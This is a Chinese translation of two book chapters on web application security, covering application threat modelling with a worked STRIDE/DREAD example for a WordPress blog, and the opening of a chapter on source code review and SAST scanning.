Web 渗透测试实践指南(二)
原文:
annas-archive.org/md5/2bec77d8d398f0bc3890a26977afafe3译者:飞龙
第七章:应用威胁建模
我已经为这个话题专门安排了整整一章,因为人们往往低估了应用威胁建模(ATM)的重要性。如果你是应用安全的员工或顾问,你将总是遇到需要在其产品发布新版本的项目,在它们部署到生产服务器之前,你需要确保对这些项目进行测试。ATM 发生在项目的架构阶段,这时候项目还在初期阶段。事实上,ATM 是一个安全架构文档,它能帮助你识别未来的威胁,并指明在未来部署网站应用程序项目时需要执行的不同渗透测试活动。
下面是这一精彩章节的计划:
-
介绍软件开发生命周期
-
一瞥应用威胁建模
-
现实生活中的应用威胁建模
-
应用威胁建模文档的结构和内容
-
一个应用威胁建模文档的实际示例
本章(以及本书中的许多原则)都可以在OWASP网站上找到。我强烈建议你在处理应用安全的日常任务时,时刻关注 OWASP 网站:www.owasp.org。
软件开发生命周期
每个应用程序都必须经过开发生命周期,然后才能部署到生产环境中。首先,项目团队提出一个新产品(如网站)的构想,该产品将帮助公司赚取更多的钱和客户。这是分析/架构阶段,大家围坐在一起讨论新项目的所有挑战。在这个阶段结束时,将产生一份架构文档,并提交给架构委员会,若该项目符合公司政策,委员会将批准它。获批后,项目将进入开发阶段,开发团队和质量保证工程师将共同合作,交付产品。经过几轮迭代后,一个稳定版本将准备好部署到生产环境中;团队将测试该应用程序,确保它没有漏洞。如果一切顺利(符合要求),团队将继续推进,并将该网站应用程序部署到生产环境中:
作为一名应用安全专家,你在这个工作流程中扮演着重要角色。在第一阶段的架构/分析阶段,你需要参加会议,了解新应用程序。一旦架构文档完成,你将创建你的 ATM 文档。之后,在开发阶段,你将根据最初编写的 ATM 文档执行所有渗透测试活动(源代码审查、网络入侵测试和基础设施安全测试)。
一瞥应用威胁建模
ATM 是一种分析应用程序安全态势的方法,旨在帮助你在开始渗透测试活动之前铺设基础。该文档应在架构阶段解决安全风险,通过在项目进入开发阶段之前识别和量化这些风险。你会看到很多处理威胁建模文档的方法(我推荐的最佳方法是 OWASP 的应用威胁建模文档;自己查看一下,你就会明白我的意思),但根据我的个人经验,我建议你尽可能简化,不要浪费时间过度描述应用程序的安全风险,因为在这种情况下,你实际上是在重复信息安全风险评估文档的内容。将该文档作为指南和头脑风暴工具,用于实现渗透测试活动的目标。
在你开始撰写此文档之前,你需要参加一些会议(项目启动会议),以便了解你将要测试的应用程序。通常,在架构阶段结束时,会生成一份详细的架构文档,这将帮助你最终确定你的工作内容。
现实中的应用威胁建模
本章结束时,我将提供一个 ATM 文档的实际示例。如果你觉得我在这里讨论的某些内容不够清晰(过于理论化),我邀请你查看本章末尾的示例。如果你希望你的团队在渗透测试阶段取得成功,那么你必须在渗透测试活动之前编写一份 ATM 文档。让我举一个我每天都能见到的例子。当我使用这种方法时,一个新的项目开始了,项目经理(PM)联系管理层,寻求应用安全方面的专家,因为他们将要建设一个新的网站。管理团队随后将你分配到这个仍处于架构阶段的新项目。你参加几场会议,以了解项目的内容。很可能,信息安全部门的另一名安全分析师也会被指派参加这些会议,因为他的工作是为同一项目编写风险评估文档。当项目团队准备好后,将通过电子邮件发送架构文档。然后,我可以开始编写我的应用威胁建模文档,并将副本发送给信息安全分析师和项目经理,以便他们将其作为下一阶段工作的指南。请参阅下表,了解每个阶段是如何受到我们干预的影响的。
这张表列出了我在多个大公司中见过的行动清单;你所在的公司可能有不同的方法,但这是我见过的最好的方法:
| 需求 | 架构 | 开发 | 部署前门控 | 生产 |
|---|
| 培训:开发人员、开发主管和架构师应接受关于应用安全最佳实践的培训。公司应鼓励 IT 的安全培训。每个团队成员都应了解自己的角色:
-
安全冠军
-
开发主管
-
开发人员
-
质量保证代理
-
项目经理
-
架构师
-
应用安全代理
-
信息安全代理
-
架构同行审查团队
-
运营安全
-
部署门控代理 | 架构阶段:项目团队将邀请应用安全代理(ASA)参加他们的启动会议。通过参加这些会议,ASA 将发现设计中的任何缺陷,并可以就应用安全提出建议。应用威胁建模:最终,ASA 应编写一份应用威胁建模文档,该文档将与信息安全代理(ISA)编写的安全风险评估一起保存。 | 沟通:在开发阶段有一些重要的关键角色:安全冠军:通常是开发主管,此人将与应用安全代理沟通,以修正静态/动态代码分析中的缺陷。误报总是存在的,因此 ASA 的角色是帮助冠军区分好的缺陷和坏的缺陷。安全冠军将确保他/她的团队遵循安全编码的最佳实践。QA:质量保证代理应该知道谁是 ASA,因为他们将需要彼此确定预生产环境何时准备好进行测试。 | 入侵测试:在部署到生产环境之前应执行手动入侵测试。在开发阶段执行的自动化测试不足以解决任何隐藏的基于 Web 应用程序的漏洞。代码审查:应进行手动静态代码分析,ASA 应该足够专业,不依赖自动化工具发现漏洞。基础设施测试:将针对将部署应用程序的 Web 服务器执行网络漏洞评估,以发现和评估现有的漏洞。信息安全:ISA 将获得测试结果,并将与高级管理层沟通,签署与部署 Web 应用程序相关的任何风险。 | 运营安全:运营安全代理(OSA)将了解新应用程序的部署,并将审核 ASA 和 ISA 编写的所有安全文档。 |
| 需求:应为开发人员提供安全编码标准。这份文档应该在开发人员加入公司后的第一天就交给他们。拥有这份文档将减少后期开发生命周期中的安全漏洞。 | 同行评审:在每个人完成自己的工作并且我们拥有正式的架构文档以及之前提到的安全文档后,同行评审委员会将验证一切是否符合公司政策。 | 通常,QA 将为 ASA 提供测试凭证和测试的 URL。PM:项目经理将与 ASA 沟通工作时间表,并解决任何可能延迟项目部署的障碍。 | 门控:部署门控代理将在允许项目进入生产之前检查是否执行了安全测试。部署门控代理将与 ISA 和 ASA 通信,以验证一切是否正确完成。 | 健康检查:OSA 将确保应用程序定期测试(至少每年一次)。测试应涵盖三个类别:源代码、入侵测试和基础设施测试。 |
|---|
ATM 文档的一个大优点是,它能让我在执行测试时记住项目的整体内容。实际上,在架构阶段和项目部署到生产环境之间会有数月的延迟。通常,你并不是只处理一个项目,由于将要遇到大量的测试,这份文档将成为你的参考,帮助你记住项目开始时发生了什么。
应用威胁建模文档部分
ATM 文档包含多个部分。事实上,这份文档可能长达 40-70 页。理解每个部分对于成功完成项目至关重要。我知道我之前告诉过你要保持文档简洁,但也不能简化得过头;你不应该遗漏 ATM 文档中的重要细节。
所以,这里是 ATM 文档应包含的最重要部分的列表:
-
数据流图
-
外部依赖
-
信任级别
-
入口点
-
资产
-
测试策略
-
安全风险
数据流图
我把这个标题数据流图(DFD)放在开头是有原因的,因为这是我最喜欢的部分,我会将其作为 ATM 文档中的参考。数据流图将通过提供网页应用程序各个部分的可视化表示,帮助我们更好地理解应用程序。DFD 的重点是数据如何从用户端流动,直到到达其最终目的地(例如数据库或文件系统)。通常,我使用在架构阶段你已经收到的架构文档(该文档应包含应用程序的架构图)来开发数据流图:
从前面的图示可以看到,应用程序安全社区在设计 DFD 时使用了多种形状:
- 外部实体:此形状表示与应用程序交互的实体(例如,客户、员工、经理等):
- 权限边界:权限边界形状用于表示数据在系统不同区域流动时,权限级别的变化。它由红色虚线表示(参见前面的 DFD 示例)。
此外,我使用虚线矩形形状将一组项目的边界进行分组(例如,公司内部的边界)。
- 数据流:数据流形状表示数据在应用程序内部的流动。数据流动的方向由箭头表示:
- 子流程:此形状用于表示一组子流程。当你知道任务可以在另一个数据流图(DFD)中分解成子流程时,使用此形状:
- 过程:过程形状表示在应用程序内部处理数据的部分。实际上,我大多数时候使用子流程形状,但这是我的方法,你不必强迫自己按照我的方法(有时跳出常规,不受形状束缚是件好事):
- 数据存储:数据存储形状用于表示数据存储的位置(例如,文件和数据库)。我通常使用以下形状:
我也使用这个形状(OWASP 风格):
以下是我自己总结的一些规则,用于成功绘制 DFD 图:
-
保持简单(不要加入过多细节),但也不要忽视重要的细节
-
要有艺术感,不要仅仅成为社区设计的奴隶,你也可以有自己的设计(如果你有经理,可以与其讨论这个问题)
-
该图应该是自解释的,即使你在一年(或更长时间)后再看,也能轻松理解。
外部依赖项
这个形状有时会令人困惑,因为它的名称。外部依赖项通常是与网络应用程序交互的项目。这里的例子不胜枚举,但以下是你最常遇到的几种:
-
网络服务器厂商/操作系统(例如,IIS、Apache 和 Linux Redhat)
-
数据库服务器操作系统及版本(例如,MSSQL、MySQL、Oracle 和 Windows Server 2016)
-
防火墙及其版本(例如,Palo Alto 防火墙)
-
网络服务服务器(例如,IBM Datapower)
-
外部供应商的网络服务/云服务(例如,MS Azure、Amazon 和云服务)
在外部依赖部分中不要列出所有详细信息,如思科交换机或路由器;你明白的。
信任级别
信任级别代表应用程序将授予与其交互的任何实体的访问权限。例如,如果 Web 应用程序将其数据存储在数据库后端,那么问问自己:谁与数据库交互?简单的答案可能是数据库管理员、数据库读取用户和数据库读/写用户。你应该对每个与 Web 应用程序交互的项目提问这个问题(例如,Web 服务、文件系统、日志等)。
入口点
入口点是潜在攻击者与应用程序交互的方式(读/写数据)。示例可以是任何网页或 Web 服务端点。如果你有一座房子,这就代表着房子的任何门窗,允许小偷进入并偷取东西。
资产
资产是黑客可能感兴趣的应用程序的不同部分(也称为威胁目标)。大多数时候,攻击者关注的是数据,但这里还有一些你可以在开发该部分时使用的更多示例:
-
读取用户数据(例如,密码、信用卡、个人信息)
-
执行未经授权的功能(例如,添加新用户和删除账户)
-
访问未经授权的系统(例如,通过终端窗口访问数据库、访问 Web 服务器文件系统)
-
不同系统的可用性(例如,针对 Web 服务器的 DOS 攻击)
测试策略
你的 ATM 文档应该包括在部署到生产环境之前,你将执行的不同安全测试。你需要向项目方解释你为何进行这些测试,以及这项任务所需的必要细节。例如,你需要指定测试环境(开发、预生产或生产)。另外,你是否需要凭证进行测试?如果需要,多少个凭证?(例如,管理员或访客。)
安全风险
ATM 文档并不是风险评估的替代品,但它是一个指导,帮助你仅关注高层次的应用程序安全风险。
始终提出以下问题,以快速了解整个应用程序的风险级别:
-
应用程序是否处理任何机密数据?Y/N
-
应用程序是否会向后端写入数据?Y/N
-
是否对公司的公共形象有影响?Y/N
-
是否对公司客户有影响?Y/N
-
应用程序是否可以从互联网上访问?Y/N
-
应用程序是否可以从移动设备访问?Y/N
-
应用程序是否与第三方服务交互?Y/N
-
应用程序是否由第三方开发?Y/N
等一下,还有更多——这只是一个总体问卷,可以帮助你入门。接下来,你需要使用STRIDE方法对攻击者的目标进行分类,STRIDE 代表:
-
欺骗:当黑客窃取受害者的凭证/会话时
-
篡改:威胁通过操控静态数据和传输数据来完成
-
否认:当我们无法追踪是谁做了什么时,就会发生这种情况
-
信息泄露:这种威胁使黑客在未授权的情况下揭露机密信息
-
拒绝服务:目标是使系统无法为客户使用的威胁
-
特权提升:针对远程系统获取管理员权限的威胁
然后,我们针对每个安全威胁,使用DREAD方法为其打上风险排名点。
这里是一个简单的DREAD排名说明:
-
损害(影响?)
-
可重现性(有多容易?)
-
可利用性(所需时间和努力?)
-
受影响的用户(有多少用户,包括客户和员工?)
-
可发现性(容易发现吗?)
计算时,你需要为每一项打分,分数范围为 1 到 10,其中 1 表示低,10 表示高。然后,将所有分数相加,再除以五,得到平均值。别担心,稍后你将看到一个实际示例;目前,先尝试理解大概概念。
使用 DREAD 评分/评级的方式很简单;下表讲述了这一过程:
| 名称 | 高 (8-10) | 中 (4-7) | 低 (1-3) | |
|---|---|---|---|---|
| D | 损害 | 攻击者可以颠覆安全系统;上传内容;获取远程 Shell;以管理员身份运行。 | 泄露一些机密信息。 | 泄露非机密信息。 |
| R | 可重现性 | 可以在短时间内重现。 | 在某些情况下可以重现。 | 很难重现攻击。 |
| E | 可利用性 | 一个脚本小子可以利用该漏洞。 | 需要一些技能才能利用该漏洞。 | 需要高度先进的技能才能利用该漏洞。 |
| A | 受影响的用户 | 超过 1,000 名客户受到影响。 | 介于 100 到 1,000 名客户受到影响。 | 少于 100 名客户受到影响。 |
| D | 可发现性 | 可以使用简单工具轻松发现。 | 发现漏洞需要一些技能。 | 发现漏洞非常困难。 |
一些人喜欢使用信息安全公式来计算安全风险:
风险 = 可能性 x 影响
实际示例
我们的实际示例基于 XYZ 公司。XYZ 的营销团队希望添加一个博客页面以吸引更多客户,并且他们想将这个项目命名为 xBlog。你参加了几次启动会议,现在,他们终于把架构文档发给你了,里面有以下图表:
根据此图,客户(用户)可以从任何地方访问博客,并可以添加评论(客户的身份验证过程不在本范围内,因为客户将通过公司网站的主页进行身份验证)。另一方面,XYZ 的员工可以通过 WordPress CMS 添加博客或批准客户评论。很简单,对吧?作为应用安全专家,你的工作是在架构评审委员会之前提交 ATM 文档给项目团队;让我们开始吧!
xBlog 威胁建模
与[公司名称]的目标合作,旨在保护其数字信息资源的安全,了解与正常业务运营中使用[xBlog]应用相关的安全风险和威胁,对于[公司名称]的管理层至关重要。
本文档包含使用应用威胁建模技术的安全评估报告。我们将评估[xBlog]应用,以了解可能对[公司名称]业务运营产生影响的安全风险。
范围
本文档仅适用于[公司名称]的[xBlog]应用。[xBlog]应用物理位置位于[公司名称]的设施中。
威胁建模
[要在这里定义威胁建模,请参考本章节的应用威胁建模概览部分。]
项目信息
在本节中,我们将添加[xBlog] web 应用的描述。下表旨在识别该项目的全貌,并识别将与之互动的用户:
| 应用版本 | [xBlog v1.0] |
|---|
| 描述 | [xBlog]应用是一个新应用,旨在服务于[公司名称]的客户,允许他们阅读博客及其评论。博客[blog.domain.com]将使用 WordPress CMS 单独托管。一个本地管理员可以通过添加新文章和管理博客评论来管理博客。该应用将由两类用户使用:
-
客户
-
WordPress 管理员
|
| 文档拥有者 | 古斯·卡瓦贾 |
|---|---|
| 参与者 |
-
约翰·多(解决方案架构师)
-
简·多(项目经理)
-
埃利奥特·多(信息安全总监)
|
数据流图
[要在这里定义数据流图,请参考本章节的数据流图部分:]
外部依赖
[要在这里定义外部依赖,请参考本章节的外部依赖部分:]
| ID | 描述 |
|---|---|
| 1 | 网站[www.domain.com]由 Cisco 防火墙保护在 DMZ 区域,唯一可用的通信方式是 TLS。 |
| 2 | 网站[www.blog.domain.com]使用 WordPress,并通过 Cisco 防火墙保护在 DMZ 区域。唯一可用的通信方式是 TLS。 |
| 3 | WordPress 的管理页面 [wpadmin.blog.domain.com] 可通过 HTTPS 链接在内部访问。 |
| 4 | [www.domain.com] 的 Web 服务器正在使用 Microsoft IIS 和 Windows Server 2016,并安装了最新的安全补丁。(请参阅内部网 [rs66988_nessus.pdf] 上的 Nessus 报告。) |
| 5 | [www.blog.domain.com] 的 Web 服务器正在使用 Apache 和 Ubuntu Server 2016,并安装了最新的安全补丁。(请参阅内部网 [rs56389_nessus.pdf] 上的 Nessus 报告。) |
| 6 | 数据库正在使用 MySQL,并存储在与 Web 应用程序相同的服务器上。(请参阅内部网 [rs56389_nessus.pdf] 上的 Nessus 报告。) |
| 7 | 客户将通过位于网站菜单上的超链接[www.domain.com] 访问博客,该超链接将重定向他们到[www.blog.domain.com]。 |
信任级别
[要在此定义信任级别,请参考本章的信任级别部分:]
| ID | 名称 | 描述 |
|---|---|---|
| 1 | 匿名网络用户 | 这是任何试图使用[xBlog] 应用程序的匿名网络用户。这种类型的用户将阅读博客,但由于他们之前没有登录,将无法添加评论。 |
| 2 | 客户 | 客户将使用[xBlog] 应用程序阅读博客并添加评论。客户应登录以添加评论到博客文章。 |
| 3 | WordPress 管理员 | WordPress 管理员将管理网站并批准博客文章。管理员的角色还包括在客户评论上线之前批准客户评论。 |
| 4 | 博客创建者 | 博客创建者将创建一个新博客,管理员将在发布之前批准此博客。 |
| 5 | 数据库管理员 | 数据库管理员是一位 MySQL 专业人士,将确保维护和管理存储 WordPress 数据的数据库。 |
入口点
[要在此定义入口点,请参考本章的入口点部分:]
| ID | 名称 | 描述 | 信任级别 |
|---|---|---|---|
| 1 | HTTPS | 网站只能通过 TLS 访问。该网站的所有页面也将使用它。 |
-
匿名网络用户
-
客户
|
| 2 | 博客页面 | 这是博客文章列表页面。 |
|---|
-
匿名网络用户
-
客户
|
| 3 | WordPress 登录页面 | WP-Login 页面将是员工用来登录 WordPress 的页面。 |
|---|
-
WordPress 管理员
-
博客创建者
|
资产
[要在此定义资产,请参考本章的资产部分。可选地,您可以将信任级别(用户)作为此表的附加列添加,但我在我的 ATM 文档中大多数情况下不包括它;这是您的选择:]
| ID | 名称 | 描述 |
|---|---|---|
| 1 | 博客 | 与博客网站相关的资产 |
| 1.1 | WordPress 访问 | 获取管理员/版主的凭据以访问 WordPress 平台 |
| 1.2 | 网站的可用性 | 使网站对客户或管理网站的员工不可用的能力 |
| 2 | 数据库 | 与保存网站数据的 MySQL 数据库相关的资产 |
| 2.1 | 访问数据库 | 能够本地或远程访问 MySQL |
| 2.2 | 数据库可用性 | 使数据库对用户不可用 |
| 2.3 | 执行 SQL 语句的能力 | 能够执行 SQL 查询来提取或操纵数据库中的数据 |
| 2.4 | 访问审计日志数据 | 访问审计日志查找机密信息 |
威胁列表
[要在此定义安全风险,请参考本章的安全风险部分。]
伪造 – 身份验证
| 威胁描述 | 威胁行动旨在非法访问和使用另一个用户的凭据,如用户名和密码。 |
|---|---|
| 威胁目标 | 客户和员工凭据。 |
| 攻击者步骤 | 攻击者可以执行以下操作:
-
通过社会工程学窃取凭据
-
对系统进行暴力破解尝试
-
执行 SQL 注入绕过身份验证或提取用户凭据
-
截取并窃取用户的会话 Cookie
|
| 对策 |
|---|
-
安全密码策略
-
会话超时
-
针对暴力破解攻击的账户锁定
-
记录失败的尝试
-
针对 SQLi 和 XSS 的验证
-
WordPress 的管理员控制台仅能通过内网访问
|
| 现有对策 | 暂无 - 这是一个新项目 |
|---|
DREAD 评估如下:
| DREAD | 详细信息 | 得分 /10 |
|---|---|---|
| 损害 |
-
获取管理员账户将使黑客能够上传远程 Shell 并控制主机
-
获取客户账户将使黑客只能代其发布博客
| 8 | ||
|---|---|---|
| 可重现性 | 它可以在中长期内复现。 | 6 |
| 可利用性 | 执行此攻击不需要太多技巧。 | 7 |
| 受影响的用户 | 攻击可以针对单个用户。导出 MySQL 数据库将包括大多数客户和管理员账户。 | 7 |
| 可发现性 | WordPress 的登录页面(管理员身份验证)仅能通过内网访问。因此,发现该应用程序将仅限于内网区域。 | 3 |
| 总分 | 6.2 |
篡改 – 完整性
| 威胁描述 | 威胁行动主要旨在改变静态或传输中的数据。 |
|---|---|
| 威胁目标 | 网站数据。 |
| 攻击者步骤 | 攻击者可以为这种类型的威胁执行以下操作:
-
可以通过 SQL 注入攻击/XSS 攻击来操纵数据
-
内部攻击者可以通过直接访问数据库来操纵数据,而无需拥有正确的权限
-
攻击者可以拦截通信并进行篡改
|
| 对策 |
|---|
-
WordPress 的管理员控制台仅能通过内网访问
-
数据库无法直接由数据库管理员访问(只能通过 WordPress 访问)
-
通信仅能通过 TLS 进行访问
|
| 现有对策 | 暂无 - 这是一个新项目。 |
|---|
DREAD 评估如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
| 损害 | 操控数据会损害博客网站及其完整性。 | 7 |
| 可重现性 | 在中长期内可以复现。 | 6 |
| 可利用性 | 执行此攻击需要较高技能。 | 1 |
| 受影响的用户 | 大部分客户可能会受到这种类型攻击的影响。 | 6 |
| 可发现性 | WordPress 中的登录页面(用于管理员身份验证)仅能通过内网访问。因此,发现该应用程序将仅限于内网区域。 | 3 |
| 总计 | 4.6 |
否定
| 威胁描述 | 旨在执行非法操作的威胁行为,且系统缺乏追踪禁止操作的能力。 |
|---|---|
| 威胁目标 | 网站(WordPress)功能。 |
| 攻击者步骤 | 如果应用程序不支持适当的安全日志记录,攻击者可以否认其攻击。 |
| 对策 | 应用程序应:
-
记录所有活动
-
在威胁发生时抛出错误(例如 SQLi 尝试)
|
| 现有对策 | 不适用——这是一个新项目。 |
|---|
DREAD 评审如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
| 损害 | 一些或少量。 | 2 |
| 可重现性 | 可以随时复现。 | 7 |
| 可利用性 | 攻击者需要一些应用程序日志方面的经验。 | 3 |
| 受影响的用户 | 可能从 1 个用户到超过 100 个用户不等。 | 5 |
| 可发现性 | 攻击者需要了解日志/监控架构。 | 1 |
| 总计 | 3.6 |
信息泄露——保密性
| 威胁描述 | 将信息(静态和传输中的)暴露给未经授权的人员。 |
|---|---|
| 威胁目标 | 应用程序(WordPress)数据。 |
| 攻击者步骤 | 攻击者可以采取以下步骤进行此类威胁:
-
读取传输中的数据
-
从日志中读取数据
-
从错误信息中读取数据
-
博客文章内容可能泄露机密信息
-
黑客可以通过 SQL 注入攻击窃取数据
-
黑客如果直接访问数据库,可以查询数据
|
| 对策 |
|---|
-
仅使用 TLS 传输数据
-
日志不应包含机密信息
-
错误信息应为通用信息
-
博客文章将在发布前由管理员审核
-
管理员将在发布前审核客户的评论
-
数据库将无法直接由 DB 管理员访问(仅能通过 WordPress 访问)
|
| 现有对策 | 不适用——这是一个新项目。 |
|---|
DREAD 报告如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
| 损害 | 查看 WordPress 内的数据的损害仅限于公司博客。 | 3 |
| 可重现性 | 可以随时复现。 | 7 |
| 可利用性 | 攻击者需要一些应用程序编程和高级攻击经验。 | 3 |
| 受影响的用户 | 可能从 1 个用户到超过 100 个用户不等。 | 5 |
| 可发现性 | 攻击者需要了解应用程序架构。 | 3 |
| 总计 | 4.2 |
拒绝服务 - 可用性
| 威胁描述 | 应用程序将暂时无法使用或不可用。 |
|---|---|
| 威胁目标 | 应用程序操作。 |
| 攻击者步骤 | 攻击者可以发送大量请求,旨在使网站崩溃。 |
| 对策 | 在应用程序配置文件或 Web 服务器中设置一个阈值。 |
| 现有对策 | 生产服务器负载均衡。 |
DREAD 报告如下:
| DREAD | 详情 | 分数 /10 |
|---|---|---|
| 损害 | 网站将无法访问。 | 8 |
| 可重现性 | 可以随时重现。 | 8 |
| 可利用性 | 即便是脚本小子也可以执行此攻击。 | 8 |
| 受影响的用户 | 大约在 100 人至 1000 人以上。 | 7 |
| 可发现性 | 任何人都可以通过 URL 发现该漏洞。 | 9 |
| 总计 | 8 |
权限提升 - 授权
| 威胁描述 | 旨在获取对资源的特权访问,进而未经授权地访问信息或危害系统的威胁。 |
|---|---|
| 威胁目标 | 网络基础设施。 |
| 攻击者步骤 | 在系统认证后,攻击者可以上传远程 Shell 来远程操控服务器。如果存在任何配置或补丁漏洞,黑客可以利用该漏洞提升其权限。 |
| 对策 |
-
服务器也会定期扫描是否缺少补丁和配置
-
监控应用程序以发现任何可疑活动
|
| 现有对策 |
|---|
-
入侵检测系统
-
智能数据丢失防护系统
-
智能防火墙
-
使用 VLAN 和防火墙进行网络隔离
|
DREAD 报告如下:
| DREAD | 详情 | 分数 /10 |
|---|---|---|
| 损害 | 在这种情况下,损害非常大,因为黑客将拥有系统和网络。 | 10 |
| 可重现性 | 如果未实施对策,任何时候都可以重现。 | 10 |
| 可利用性 | 该攻击可以由具备中等技能的黑客执行。 | 9 |
| 受影响的用户 | 大约在 100 人至 1000 人以上。 | 7 |
| 可发现性 | 该漏洞可以在内部被发现,因为管理员控制台无法外部访问。 | 6 |
| 总计 | 8.4 |
测试策略
信息安全管理下的应用安全团队将进行必要的安全测试,以增强 Web 应用程序的安全性。以下表格中的活动将包括所有需要在安全渗透测试中执行的项目:
| ID | 名称 | 工具 | 描述 | 环境 |
|---|---|---|---|---|
| 1 | 手动源代码审查 |
-
Veracode
-
Visual Studio IDE for .NET
-
Eclipse IDE for JAVA
| 我们不需要检查源代码,因为该应用程序将使用 WordPress CMS。 | 预生产环境 | |||
|---|---|---|---|---|
| 2 | Web 入侵测试 | Burp Suite Pro | 安全分析员将执行手动和自动化 Web 入侵测试。这将模拟网站可能发生的攻击。 | Pre-Prod |
| 3 | Web 服务模糊测试 | Burp Suite Pro | N/A | N/A |
| 4 | Web 服务器基础设施测试 |
-
Nessus
-
Nmap
| 安全分析员将测试 web 服务器基础设施的安全性,并寻找任何缺失的安全补丁或不安全的设置。 | PROD |
|---|
总结
正如你在本章中看到的,ATM 其实并不难。人们往往低估了这个文档的重要性,但一旦你开始使用它,你就再也停不下来了,因为它有太多好处。要富有创意,不要局限于本章讨论的模板;相反,应该将其作为下一个应用威胁建模文档的指导方针。
任何专业的网站项目都从架构阶段开始,这时你需要展示你的技能,并将 ATM 文档视为一个安全架构文档。你的工作不仅仅是成为一个渗透测试员,这是在安全领域中非常重要的概念。你可以自由地添加你希望的章节,例如监控、日志记录、安全编码、安全控制,或任何你认为在项目初期对开发阶段有帮助的建议。
在下一章中,我们将讨论应用安全中的另一个重要主题:静态代码分析(源代码审查)。我暂时不会详细讨论这一点,我会把发现所有有趣内容的乐趣留给下一章。
第八章:源代码审查
你准备好迎接又一精彩的章节了吗?我假设到目前为止你喜欢这本书,如果是这样,我很高兴。? 本章将教你如何处理源代码审查过程。源代码是网络应用程序的核心或引擎,必须从安全角度正确构建。作为应用安全专家,你的角色是确保开发人员真正遵守安全模式。看到这里,你可能会说,但是 Gus,我不擅长编程。你将在本章稍后看到我的回答,但现在,请放心,我会尽力帮助你在职业生涯中取得进展。
静态代码分析是源代码审查的另一种流行词汇。但等等,我还没说完。还有另一个流行词汇,静态应用程序安全测试(SAST)。这个词汇在应用安全专家中非常常见,特别是当我们处理自动扫描工具(也称为 SAST 扫描器)时。
我将在本章后面详细讲解这个话题,所以继续阅读,避免错过所有有趣且有教育意义的内容。
在这一阶段,我假设你已经完成了应用威胁建模文档,并且理解了网络应用程序的高层次工作原理。确保你审阅了威胁建模文档,了解项目架构(入口点、资产、外部依赖、信任等级和安全威胁)。我在上一章中提到威胁建模是有原因的,因为我想展示你在典型内部项目中使用的逻辑流程。
以下是本章将要涵盖的主题:
-
如何评估你的编程背景
-
理解企业安全编码指南
-
理解手动代码审查与自动化代码审查的区别
-
安全编码检查清单
编程背景
在本章继续之前,我必须详细讨论一下你的编程背景,以便帮助你在编程语言方面朝正确的方向前进。在转行做全职网络安全专家之前,我做了大约 10 年的程序员。我可以告诉你,我在编程生涯中获得的经验极大地帮助了我在应用安全领域取得成功。毕竟,如果你从未开发过一个网络应用程序,又怎么能给专家提供建议呢?
编程语言被分为不同类别,它们之间有很多相似之处(比你想象的要多)。稍后在本章中,我将展示网络应用程序的编码安全检查清单,但不指向具体的某一种,因为这个检查清单可以应用于任何网络应用程序编程语言。
这里是你需要了解的最流行编程语言,以及它们所属的类别(再次强调,这些是流行的语言,并非全部):
-
Web 应用开发:Java、C#、.NET 和 PHP
-
驱动程序和硬件:C、C++ 和 汇编语言
-
逆向工程:汇编语言
-
数据库:结构化查询语言 SQL
-
脚本语言:Python、Perl 和 Ruby
你真的需要学习所有这些语言吗?是的,有点,但让我简化任务,帮助你轻松应对。首先,从学习一种脚本语言开始。在接下来的章节中,你将遇到一章专门讲解 Python。这门语言将在自动化渗透测试活动中帮助你很多,同时也能帮助你学习编程基础。接下来,你需要学习至少三种语言中的一种:Java、C#、.NET 或 PHP。你还需要通过自己开发 Web 应用来练习这些语言的使用。学习 Web 应用编程的同时,你还将学习 SQL,因为你将与数据库进行交互,这样就能一举两得。汇编语言是一种特殊的低级语言,但如果你学习它,将获得更多的编程技能。作为应用安全专业人员,你几乎不需要处理驱动程序/硬件或恶意软件逆向工程,因此你可以完全排除这些类别。
企业安全编码指南
每个企业都需要制定安全政策,以定义其开发团队的最佳安全实践。这些政策之一就是安全编码。你将是这些最佳实践文档(或清单)的守护者,并通过技术的发展不断更新它们。只要可能,安全编码指南应通过公司内部网站与开发人员共享。如果这个文档不存在,作为应用安全专业人员,你的工作是创建一个新的文档并向管理层建议,相信我,他们会非常感激。某些公司鼓励开发人员参加安全编码培训,以使他们参与到这一过程中。你可以参考本章中的安全编码清单部分,获取如何为你的公司(作为顾问或员工)制定自己的安全编码指南的思路。
在上一章中,我提到过一个重要话题——SDL。这是一个我希望你掌握并理解其实际运作方式的话题,因为安全编码是 SDL 的前提,在开发普通项目时,安全编码应该贯穿每一个步骤,具体如下:
-
架构阶段:在项目开始时,将定义架构,安全编码实践文档将作为所有技术挑战的参考。
-
开发阶段:在开发阶段,将使用持续集成,并在每次项目在构建服务器上编译时执行。静态代码分析器将在每次构建后自动扫描代码,如果开发者没有遵守安全指南,扫描器很可能会将其标记为缺陷。稍后在本章中,我们将更详细地讨论自动化扫描器。
-
部署前:在部署到生产环境之前,你将执行不同的测试(Web 入侵测试和手动源代码审查)。在这个阶段,你可以重用安全编码指南,以便在面对项目团队成员(Web 应用项目)时,针对他们可能说的“没人告诉过我们这个”的说辞提出反驳。
静态代码分析 – 手动扫描与自动扫描
在前面的图片中(在上一节),你可以清楚地看到,当项目准备好部署到典型的安全开发生命周期中时,手动代码审查将被执行。这里我需要你理解的主要思想是,手动扫描发生在自动扫描之后,因此手动代码审查是为了发现自动扫描器未能捕捉到的缺陷。有些人可能会对这个想法提出异议,你会惊讶于你会听到的不同意见——有人可能会告诉你,手动扫描就足够了,不需要扫描器,这种想法过于自负,因为我们是人类,不管多么优秀,我们总会犯错。另一方面,有些人会说扫描器就足够了,但根据他们的经验,总是会有些东西是在运行扫描后才被捕捉到的。你迷失了吗?嗯,答案很简单——你需要两者兼备。
这可能听起来有些枯燥,但我正在尽力分享我在日常工作中见证的事件中,能够帮助你职业发展的重要建议。现在让我们更深入地讨论 SAST 扫描器,因为你将在典型的 SDL 中与它们打交道。我不是在推荐任何产品,但我与 Veracode 有过很多接触,总体来说它是一个不错的产品。我也尝试过 Checkmarx,发现它也非常好。
使用 SAST 扫描器的最佳方式是实施持续集成方法。在完成架构阶段后,程序员将开始开发产品,完成后将其保存并推送到构建服务器(每天完成后)。像 Veracode 这样的扫描器会在构建后立即扫描代码,并标记出新保存的代码中发现的任何漏洞。应用安全分析师将密切审查扫描器的结果,并确保与开发负责人(也称为安全冠军)合作进行漏洞修复。之后,当项目准备发布时,扫描器的待办事项中不应包含任何高危或关键漏洞,以便在手动源代码审查开始前通过评分。|
